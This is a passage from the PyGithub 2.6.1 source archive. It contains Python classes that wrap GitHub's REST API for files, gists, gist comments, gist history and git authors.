github.NamedUser.NamedUser: return self._actor.value @property def created_at(self) -> datetime: return self._created_at.value @property def id(self) -> str: return self._id.value @property def org(self) -> github.Organization.Organization: return self._org.value @property def payload(self) -> dict[str, Any]: return self._payload.value @property def public(self) -> bool: return self._public.value @property def repo(self) -> github.Repository.Repository: return self._repo.value @property def type(self) -> str: return self._type.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "actor" in attributes: # pragma no branch self._actor = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["actor"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "id" in attributes: # pragma no branch self._id = self._makeStringAttribute(attributes["id"]) if "org" in attributes: # pragma no branch self._org = self._makeClassAttribute(github.Organization.Organization, attributes["org"]) if "payload" in attributes: # pragma no branch self._payload = self._makeDictAttribute(attributes["payload"]) if "public" in attributes: # pragma no branch self._public = self._makeBoolAttribute(attributes["public"]) if "repo" in attributes: # pragma no branch self._repo = self._makeClassAttribute(github.Repository.Repository, attributes["repo"]) if "type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["type"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/File.py0000644000175100001660000001503414756101563015504 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Jeffrey Melvin # # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class File(NonCompletableGithubObject): """ This class represents Files. The OpenAPI schema can be found at - /components/schemas/diff-entry """ def _initAttributes(self) -> None: self._additions: Attribute[int] = NotSet self._blob_url: Attribute[str] = NotSet self._changes: Attribute[int] = NotSet self._contents_url: Attribute[str] = NotSet self._deletions: Attribute[int] = NotSet self._filename: Attribute[str] = NotSet self._patch: Attribute[str] = NotSet self._previous_filename: Attribute[str] = NotSet self._raw_url: Attribute[str] = NotSet self._sha: Attribute[str] = NotSet self._status: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"sha": self._sha.value, "filename": self._filename.value}) @property def additions(self) -> int: return self._additions.value @property def blob_url(self) -> str: return self._blob_url.value @property def changes(self) -> int: return self._changes.value @property def contents_url(self) -> str: return self._contents_url.value @property def deletions(self) -> int: return self._deletions.value @property def filename(self) -> str: return self._filename.value @property def patch(self) -> str: return self._patch.value @property def previous_filename(self) -> str: return self._previous_filename.value @property def raw_url(self) -> str: return self._raw_url.value @property def sha(self) -> str: return self._sha.value @property def status(self) -> str: return self._status.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "additions" in attributes: # pragma no branch self._additions = self._makeIntAttribute(attributes["additions"]) if "blob_url" in attributes: # pragma no branch self._blob_url = self._makeStringAttribute(attributes["blob_url"]) if "changes" in attributes: # pragma no branch self._changes = self._makeIntAttribute(attributes["changes"]) if "contents_url" in attributes: # pragma no branch self._contents_url = self._makeStringAttribute(attributes["contents_url"]) if "deletions" in attributes: # pragma no branch self._deletions = self._makeIntAttribute(attributes["deletions"]) if "filename" in attributes: # pragma no branch self._filename = self._makeStringAttribute(attributes["filename"]) if "patch" in attributes: # pragma no branch self._patch = self._makeStringAttribute(attributes["patch"]) if "previous_filename" in attributes: # pragma no branch self._previous_filename = self._makeStringAttribute(attributes["previous_filename"]) if "raw_url" in attributes: # pragma no branch self._raw_url = self._makeStringAttribute(attributes["raw_url"]) if "sha" in attributes: # pragma no branch self._sha = self._makeStringAttribute(attributes["sha"]) if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Gist.py0000644000175100001660000003557614756101563015550 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Steve English # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Dale Jung # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2018 羽 # # Copyright 2019 Jon Dufresne # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import TYPE_CHECKING, Any import github.GistComment import github.GistFile import github.GistHistoryState import github.GithubObject import github.NamedUser import github.PaginatedList from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt, _NotSetType, is_defined, is_optional from github.PaginatedList import PaginatedList if TYPE_CHECKING: from github.GistComment import GistComment from github.GistHistoryState import GistHistoryState from github.InputFileContent import InputFileContent class Gist(CompletableGithubObject): """ This class represents Gists. The reference can be found here https://docs.github.com/en/rest/reference/gists The OpenAPI schema can be found at - /components/schemas/base-gist - /components/schemas/gist-simple - /components/schemas/gist-simple/properties/fork_of - /components/schemas/gist-simple/properties/forks/items """ def _initAttributes(self) -> None: self._comments: Attribute[int] = NotSet self._comments_url: Attribute[str] = NotSet self._commits_url: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._description: Attribute[str] = NotSet self._files: Attribute[dict[str, github.GistFile.GistFile]] = NotSet self._fork_of: Attribute[Gist] = NotSet self._forks: Attribute[list[Gist]] = NotSet self._forks_url: Attribute[str] = NotSet self._git_pull_url: Attribute[str] = NotSet self._git_push_url: Attribute[str] = NotSet self._history: Attribute[list[GistHistoryState]] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._owner: Attribute[github.NamedUser.NamedUser] = NotSet self._public: Attribute[bool] = NotSet self._truncated: Attribute[bool] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet self._user: Attribute[github.NamedUser.NamedUser] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value}) @property def comments(self) -> int: self._completeIfNotSet(self._comments) return self._comments.value @property def comments_url(self) -> str: self._completeIfNotSet(self._comments_url) return self._comments_url.value @property def commits_url(self) -> str: self._completeIfNotSet(self._commits_url) return self._commits_url.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def description(self) -> str: self._completeIfNotSet(self._description) return self._description.value @property def files(self) -> dict[str, github.GistFile.GistFile]: self._completeIfNeeded() return self._files.value @property def fork_of(self) -> github.Gist.Gist: self._completeIfNotSet(self._fork_of) return self._fork_of.value @property def forks(self) -> list[Gist]: self._completeIfNotSet(self._forks) return self._forks.value @property def forks_url(self) -> str: self._completeIfNotSet(self._forks_url) return self._forks_url.value @property def git_pull_url(self) -> str: self._completeIfNotSet(self._git_pull_url) return self._git_pull_url.value @property def git_push_url(self) -> str: self._completeIfNotSet(self._git_push_url) return self._git_push_url.value @property def history(self) -> list[GistHistoryState]: self._completeIfNotSet(self._history) return self._history.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> str: self._completeIfNotSet(self._id) return self._id.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def owner(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._owner) return self._owner.value @property def public(self) -> bool: self._completeIfNotSet(self._public) return self._public.value @property def truncated(self) -> bool: self._completeIfNotSet(self._truncated) return self._truncated.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property def user(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._user) return self._user.value def create_comment(self, body: str) -> GistComment: """ :calls: `POST /gists/{gist_id}/comments `_ """ assert isinstance(body, str), body post_parameters = { "body": body, } headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/comments", input=post_parameters) return github.GistComment.GistComment(self._requester, headers, data, completed=True) def create_fork(self) -> Gist: """ :calls: `POST /gists/{id}/forks `_ """ headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/forks") return Gist(self._requester, headers, data, completed=True) def delete(self) -> None: """ :calls: `DELETE /gists/{id} `_ """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) def edit(self, description: Opt[str] = NotSet, files: Opt[dict[str, InputFileContent | None]] = NotSet) -> None: """ :calls: `PATCH /gists/{id} `_ """ assert is_optional(description, str), description # limitation of `TypeGuard` assert isinstance(files, _NotSetType) or all( element is None or isinstance(element, github.InputFileContent) for element in files.values() ), files post_parameters: dict[str, Any] = {} if is_defined(description): post_parameters["description"] = description if is_defined(files): post_parameters["files"] = {key: None if value is None else value._identity for key, value in files.items()} headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) def get_comment(self, id: int) -> GistComment: """ :calls: `GET /gists/{gist_id}/comments/{id} `_ """ assert isinstance(id, int), id headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/comments/{id}") return github.GistComment.GistComment(self._requester, headers, data, completed=True) def get_comments(self) -> PaginatedList[GistComment]: """ :calls: `GET /gists/{gist_id}/comments `_ """ return PaginatedList( github.GistComment.GistComment, self._requester, f"{self.url}/comments", None, ) def is_starred(self) -> bool: """ :calls: `GET /gists/{id}/star `_ """ status, headers, data = self._requester.requestJson("GET", f"{self.url}/star") return status == 204 def reset_starred(self) -> None: """ :calls: `DELETE /gists/{id}/star `_ """ headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/star") def set_starred(self) -> None: """ :calls: `PUT /gists/{id}/star `_ """ headers, data = self._requester.requestJsonAndCheck("PUT", f"{self.url}/star") def _useAttributes(self, attributes: dict[str, Any]) -> None: if "comments" in attributes: # pragma no branch self._comments = self._makeIntAttribute(attributes["comments"]) if "comments_url" in attributes: # pragma no branch self._comments_url = self._makeStringAttribute(attributes["comments_url"]) if "commits_url" in attributes: # pragma no branch self._commits_url = self._makeStringAttribute(attributes["commits_url"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "files" in attributes: # pragma no branch self._files = self._makeDictOfStringsToClassesAttribute(github.GistFile.GistFile, attributes["files"]) if "fork_of" in attributes: # pragma no branch self._fork_of = self._makeClassAttribute(Gist, attributes["fork_of"]) if "forks" in attributes: # pragma no branch self._forks = self._makeListOfClassesAttribute(Gist, attributes["forks"]) if "forks_url" in attributes: # pragma no branch self._forks_url = self._makeStringAttribute(attributes["forks_url"]) if "git_pull_url" in attributes: # pragma no branch self._git_pull_url = self._makeStringAttribute(attributes["git_pull_url"]) if "git_push_url" in attributes: # pragma no branch self._git_push_url = self._makeStringAttribute(attributes["git_push_url"]) if "history" in attributes: # pragma no branch self._history = self._makeListOfClassesAttribute( github.GistHistoryState.GistHistoryState, attributes["history"] ) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeStringAttribute(attributes["id"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "owner" in attributes: # pragma no branch self._owner = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["owner"]) if "public" in attributes: # pragma no branch self._public = self._makeBoolAttribute(attributes["public"]) if "truncated" in attributes: # pragma no branch self._truncated = self._makeBoolAttribute(attributes["truncated"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "user" in attributes: # pragma no branch self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/GistComment.py0000644000175100001660000001602314756101563017055 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any import github.GithubObject import github.NamedUser from github.GithubObject import Attribute, CompletableGithubObject, NotSet class GistComment(CompletableGithubObject): """ This class represents GistComments. The reference can be found here https://docs.github.com/en/rest/reference/gists#comments The OpenAPI schema can be found at - /components/schemas/gist-comment """ def _initAttributes(self) -> None: self._author_association: Attribute[str] = NotSet self._body: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._id: Attribute[int] = NotSet self._node_id: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet self._user: Attribute[github.NamedUser.NamedUser] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "user": self._user.value}) @property def author_association(self) -> str: self._completeIfNotSet(self._author_association) return self._author_association.value @property def body(self) -> str: self._completeIfNotSet(self._body) return self._body.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property def user(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._user) return self._user.value def delete(self) -> None: """ :calls: `DELETE /gists/{gist_id}/comments/{id} `_ """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) def edit(self, body: str) -> None: """ :calls: `PATCH /gists/{gist_id}/comments/{id} `_ """ assert isinstance(body, str), body post_parameters = { "body": body, } headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "author_association" in attributes: # pragma no branch self._author_association = self._makeStringAttribute(attributes["author_association"]) if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "user" in attributes: # pragma no branch self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/GistFile.py0000644000175100001660000001206014756101563016327 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class GistFile(NonCompletableGithubObject): """ This class represents GistFiles. The OpenAPI schema can be found at - /components/schemas/base-gist/properties/files - /components/schemas/gist-simple/properties/files - /components/schemas/gist-simple/properties/fork_of/properties/files """ def _initAttributes(self) -> None: self._content: Attribute[str] = NotSet self._filename: Attribute[str] = NotSet self._language: Attribute[str] = NotSet self._raw_url: Attribute[str] = NotSet self._size: Attribute[int] = NotSet self._type: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"filename": self._filename.value}) @property def content(self) -> str: return self._content.value @property def filename(self) -> str: return self._filename.value @property def language(self) -> str: return self._language.value @property def raw_url(self) -> str: return self._raw_url.value @property def size(self) -> int: return self._size.value @property def type(self) -> str: return self._type.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "content" in attributes: # pragma no branch self._content = self._makeStringAttribute(attributes["content"]) if "filename" in attributes: # pragma no branch self._filename = self._makeStringAttribute(attributes["filename"]) if "language" in attributes: # pragma no branch self._language = self._makeStringAttribute(attributes["language"]) if "raw_url" in attributes: # pragma no branch self._raw_url = self._makeStringAttribute(attributes["raw_url"]) if "size" in attributes: # pragma no branch self._size = self._makeIntAttribute(attributes["size"]) if "type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["type"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/GistHistoryState.py0000644000175100001660000002464414756101563020125 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any import github.CommitStats import github.Gist import github.GithubObject import github.NamedUser from github.GistFile import GistFile from github.GithubObject import Attribute, CompletableGithubObject, NotSet class GistHistoryState(CompletableGithubObject): """ This class represents GistHistoryStates. The OpenAPI schema can be found at - /components/schemas/gist-history """ def _initAttributes(self) -> None: self._change_status: Attribute[github.CommitStats.CommitStats] = NotSet self._comments: Attribute[int] = NotSet self._comments_url: Attribute[str] = NotSet self._commits_url: Attribute[str] = NotSet self._committed_at: Attribute[datetime] = NotSet self._created_at: Attribute[datetime] = NotSet self._description: Attribute[str] = NotSet self._files: Attribute[dict[str, GistFile]] = NotSet self._forks: Attribute[list[github.Gist.Gist]] = NotSet self._forks_url: Attribute[str] = NotSet self._git_pull_url: Attribute[str] = NotSet self._git_push_url: Attribute[str] = NotSet self._history: Attribute[list[GistHistoryState]] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[str] = NotSet self._owner: Attribute[github.NamedUser.NamedUser] = NotSet self._public: Attribute[bool] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet self._user: Attribute[github.NamedUser.NamedUser] = NotSet self._version: Attribute[str] = NotSet @property def change_status(self) -> github.CommitStats.CommitStats: self._completeIfNotSet(self._change_status) return self._change_status.value @property def comments(self) -> int: self._completeIfNotSet(self._comments) return self._comments.value @property def comments_url(self) -> str: self._completeIfNotSet(self._comments_url) return self._comments_url.value @property def commits_url(self) -> str: self._completeIfNotSet(self._commits_url) return self._commits_url.value @property def committed_at(self) -> datetime: self._completeIfNotSet(self._committed_at) return self._committed_at.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def description(self) -> str: self._completeIfNotSet(self._description) return self._description.value @property def files(self) -> dict[str, GistFile]: self._completeIfNotSet(self._files) return self._files.value @property def forks(self) -> list[github.Gist.Gist]: self._completeIfNotSet(self._forks) return self._forks.value @property def forks_url(self) -> str: self._completeIfNotSet(self._forks_url) return self._forks_url.value @property def git_pull_url(self) -> str: self._completeIfNotSet(self._git_pull_url) return self._git_pull_url.value @property def git_push_url(self) -> str: self._completeIfNotSet(self._git_push_url) return self._git_push_url.value @property def history(self) -> list[GistHistoryState]: self._completeIfNotSet(self._history) return self._history.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> str: self._completeIfNotSet(self._id) return self._id.value @property def owner(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._owner) return self._owner.value @property def public(self) -> bool: self._completeIfNotSet(self._public) return self._public.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property def user(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._user) return self._user.value @property def version(self) -> str: self._completeIfNotSet(self._version) return self._version.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "change_status" in attributes: # pragma no branch self._change_status = self._makeClassAttribute(github.CommitStats.CommitStats, attributes["change_status"]) if "comments" in attributes: # pragma no branch self._comments = self._makeIntAttribute(attributes["comments"]) if "comments_url" in attributes: # pragma no branch self._comments_url = self._makeStringAttribute(attributes["comments_url"]) if "commits_url" in attributes: # pragma no branch self._commits_url = self._makeStringAttribute(attributes["commits_url"]) if "committed_at" in attributes: # pragma no branch self._committed_at = self._makeDatetimeAttribute(attributes["committed_at"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "files" in attributes: # pragma no branch self._files = self._makeDictOfStringsToClassesAttribute(github.GistFile.GistFile, attributes["files"]) if "forks" in attributes: # pragma no branch self._forks = self._makeListOfClassesAttribute(github.Gist.Gist, attributes["forks"]) if "forks_url" in attributes: # pragma no branch self._forks_url = self._makeStringAttribute(attributes["forks_url"]) if "git_pull_url" in attributes: # pragma no branch self._git_pull_url = self._makeStringAttribute(attributes["git_pull_url"]) if "git_push_url" in attributes: # pragma no branch self._git_push_url = self._makeStringAttribute(attributes["git_push_url"]) if "history" in attributes: # pragma no branch self._history = self._makeListOfClassesAttribute(GistHistoryState, attributes["history"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeStringAttribute(attributes["id"]) if "owner" in attributes: # pragma no branch self._owner = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["owner"]) if "public" in attributes: # pragma no branch self._public = self._makeBoolAttribute(attributes["public"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "user" in attributes: # pragma no branch self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) if "version" in attributes: # pragma no branch self._version = self._makeStringAttribute(attributes["version"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/GitAuthor.py0000644000175100001660000001147514756101563016540 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class GitAuthor(NonCompletableGithubObject): """ This class represents GitAuthors. The OpenAPI schema can be found at - /components/schemas/commit-search-result-item/properties/commit/properties/author - /components/schemas/file-commit/properties/commit/properties/author - /components/schemas/file-commit/properties/commit/properties/committer - /components/schemas/git-commit/properties/author - /components/schemas/git-commit/properties/committer - /components/schemas/git-tag/properties/tagger - /components/schemas/nullable-git-user - /components/schemas/nullable-simple-commit/properties/author - /components/schemas/nullable-simple-commit/properties/committer - /components/schemas/simple-commit/properties/author - /components/schemas/simple-commit/properties/committer """ def _initAttributes(self) -> None: self._date: Attribute[datetime] = NotSet self._email: Attribute[str] = NotSet self._name: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property def date(self) -> datetime: return self._date.value @property def email(self) -> str: return self._email.value @property def name(self) -> str: return self._name.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "date" in attributes: # pragma no branch self._date = self._makeDatetimeAttribute(attributes["date"]) if "email" in attributes: # pragma no branch self._email = self._makeStringAttribute(attributes["email"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/GitBlob.py0000644000175100001660000001201514756101563016143 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # 